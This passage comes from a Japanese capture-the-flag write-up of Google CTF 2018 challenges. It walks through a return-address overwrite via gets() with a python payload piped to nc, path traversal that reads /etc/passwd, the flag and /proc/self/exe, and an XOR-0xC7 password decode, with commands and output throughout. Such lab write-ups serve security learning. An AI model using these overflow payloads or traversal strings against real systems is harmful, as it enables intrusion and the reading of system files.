lea     rdi, aNewMessageOfTh ; "New message of the day saved!"
call    _puts
nop
leave
retn
set_motd endp

機能2の処理内容。sub rsp, 100hでMOTD入力用バッファを確保した後、[rbp+src]へ入力の長さを確認せず読み込んでいる。よってここでリターンアドレスの書き換えが可能。

; Attributes: bp-based frame

public read_flag
read_flag proc near

var_110= byte ptr -110h
var_8= qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rdx, [rbp+var_110]
mov     eax, 0
mov     ecx, 20h
mov     rdi, rdx
rep stosq
lea     rsi, modes      ; "r"
lea     rdi, filename   ; "./flag.txt"
call    _fopen
mov     [rbp+var_8], rax
lea     rdx, [rbp+var_110]
mov     rax, [rbp+var_8]
lea     rsi, aS         ; "%s"
mov     rdi, rax
mov     eax, 0
call    ___isoc99_fscanf
lea     rax, [rbp+var_110]
mov     rsi, rax
lea     rdi, aAdminMotdIsS ; "Admin MOTD is: %s\n"
mov     eax, 0
call    _printf
nop
leave
retn
read_flag endp

また、機能4から呼び出される関数read_flagが存在し、これは./flag.txtの内容を読んで出力している。

先程のリターンアドレスをこの関数の開始地点に設定するとフラグが得られると考えられる。IDAのText viewより開始地点は0x606063A5であると分かる。

payload作成

関数set_motdの開始直後にてリターンアドレスはRSPに保存されている。(直前のcallによりpushされるため)

ここから「push rbp」「mov rbp, rsp」「sub rsp, 100h」が順に実行され、MOTD入力用の領域[rbp-100h]が確保される。よって以下の長さの合計264がpayload先頭の無意味な文字の長さとなる。

ただしgets()は読み込んだ文字列にヌル文字を追加するため、実際の入力は1文字減り263文字となる点に注意。

無意味な文字を出力した後にリターンアドレス0x606063A5を入力する。リトルエンディアンにより逆順となる。

$ python -c "print('A'*263 + '\xa5\x63\x60\x60')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c``

payload送信

以上で作成したpayloadを機能2実行時に入力するとフラグを得る。

$ python -c "print('2\n'+'A'*263 + '\xa5\x63\x60\x60')" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{DUMMY_FLAG}

payload送信をCentOS7で試したところリターンアドレス\xa5がうまく出力されず失敗した。macOSでは成功しており、この差の原因は不明。

Pwn-Reversing

ADMIN UI

$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

問題文の通りにアクセスする。フラグ入手に利用するメニューは2) Read EULA/patch notes

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.2
 - Version0.3
Which patchnotes should be shown?
Version0.2
## Release 0.2
 - Updated library X to version 0.Y
 - Fixed path traversal bug
 - Improved the UX
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.2
 - Version0.3
Which patchnotes should be shown?
Version0.3
# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Version0.2の、Fixed path traversal bugがヒントになっており、このシステムはpath traversalが可能。

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.2
 - Version0.3
Which patchnotes should be shown?
../../../../../etc/passwd

----- snip -----

user:x:1337:1337::/home/user:

/etc/passwdのうち、一般ユーザはuserのみ。

Which patchnotes should be shown?
../../../../home/user/flag
CTF{DUMMY_FLAG}=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

勘に頼り/home/user以下を探索したところ/home/user/flagよりフラグを得た。

ADMIN UI 2

問題文にADMIN UIと同様のテクニックでパスワードを得られると書かれている。

WriteUp6やブログ記事7によると/proc/selfが現在実行中のプロセスへのシンボリックリンクになっているため、ここから実行コマンドを得る。(ここが分からなかった)

printf '2\n../../../../../proc/self/exe\n' | nc mngmnt-iface.ctfcompetition.com 1337 > admin-ui2
^C
$ binwalk -e --dd='.*' admin-ui2

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
182           0xB6            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98155         0x17F6B         Unix path: /usr/include/c++/7

$ mv _admin-ui2.extracted/B6 ./admin-ui2.elf

/proc/self/exeが実行中のプログラムであり、標準出力等の余計な文字列を取り除くためbinwalkでelfを取り出す。

$ nm ./admin-ui2.elf | grep -i flag
0000000041414a40 r _ZL4FLAG
0000000041414a2c r _ZL9FLAG_FILE
$ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head
    4141422b:   48 8d 3d 31 08 00 00    lea    rdi,[rip+0x831]        # 41414a63 <_ZL4FLAG+0x23>
    4141429a:   48 8d 3d ca 07 00 00    lea    rdi,[rip+0x7ca]        # 41414a6b <_ZL4FLAG+0x2b>
    414142ca:   48 8d 35 9d 07 00 00    lea    rsi,[rip+0x79d]        # 41414a6e <_ZL4FLAG+0x2e>
----- snip -----

nmやobjdumpでシンボル_ZL4FLAGが確認でき、怪しいため内容を確認する。

$ gdb -batch -ex 'x/s _ZL4FLAG' ./admin-ui2.elf
0x41414a40 <_ZL4FLAG>:  "\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh"

この文字列をそのままdecodeするとエラーとなる。実行時に何らかの処理が加わっている可能性があるため逆アセンブルし確認。今回はIDAを用いた。

ADMIN UI 2のパスワード処理部分。アセンブリに慣れていないためコメントを付け読み込む。ここではアドレスのコピーをロード、値のコピーをコピーと呼んでいる。

password= byte ptr -90h
l= qword ptr -10h
i= qword ptr -8

lea     rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov     rsi, rax            ; rsiにraxをコピー。scanfの第2引数となる
lea     rdi, a127s          ; "%127s", rdiに"%127s"をロード。_scanfの第1引数となる
mov     eax, 0              ; eaxに0をコピー。ここにscanfの返り値が入る
call    _scanf
lea     rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov     rdi, rax            ; s, rdiにrax(=変数password)の値をコピー。strlenの第1引数となる
call    _strlen
mov     [rbp+l], rax        ; rbp+lにrax(=strlenの返り値)をコピー
mov     [rbp+i], 0          ; rbp+iに0をコピー

loc_4141449F:
mov     rax, [rbp+i]        ; raxにrbp+iの値をコピー
cmp     rax, [rbp+l]        ; raxとrbp+l(=変数passwordの値の長さ)を比較
jnb     short loc_414144D6  ; rax < rbp+lであれば以下のコードへ

lea     rdx, [rbp+password] ; rdxにpasswordをロード
mov     rax, [rbp+i]        ; raxにrbp+iの値をコピー
add     rax, rdx            ; raxにrdx(=password)の値を足す(=raxがpassword[i]のアドレスとなる)
movzx   eax, byte ptr [rax] ; raxのうち1バイトをeaxにコピー(=eaxにpassword[i]の値をコピー)
xor     eax, 0FFFFFFC7h     ; eaxと0FFFFFFC7hでxorを取った値をeaxにコピー
mov     ecx, eax            ; ecxにeaxの値をコピー
lea     rdx, [rbp+password] ; rdxにpasswordをロード
mov     rax, [rbp+i]        ; rbp+iの値をraxにコピー
add     rax, rdx            ; raxにrdxの値を足す
mov     [rax], cl           ; ?
add     [rbp+i], 1          ; rbp+iに1を足す
jmp     short loc_4141449F

要するに、以下のようにpasswordの各値と0xC7をxorしている。

scanf("%127s", password);
l = strlen(password):
for(i = 0; i < l; ++i) password[i] ^= 0xC7u;

同様の処理を先程得た_ZL4FLAGの値へ行い、再度decodeを試すとフラグを得る。

$ cat decode.py
password = ''
for b in b'\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh':
    password += chr(ord(b) ^ ord(b'\xc7'))
print(password)
$ python decode.py
CTF{DUMMY_FLAG}襮贯

当初/etc/passwd以外にヒントとなるファイルが無いかをPath Traversal Cheat Sheet8を用いて探したが、成果は無かった。


  1. COMファイル - Wikipedia  ↩︎

  2. DOSBox, an x86 emulator with DOS  ↩︎

  3. Download Enhanced DEBUG (formally DOS Debug) 1.32  ↩︎

  4. CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - Floppy2 / Writeup  ↩︎

  5. 【Chrome】参照型変数を console.log/dir した時の挙動が怪しい|もっこりJavaScript|ANALOGIC(アナロジック)  ↩︎

  6. CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - Admin UI2 / Writeup  ↩︎

  7. /proc/self/exe | asdfのネタ帳  ↩︎

  8. Path Traversal Cheat Sheet: Linux — GracefulSecurity  ↩︎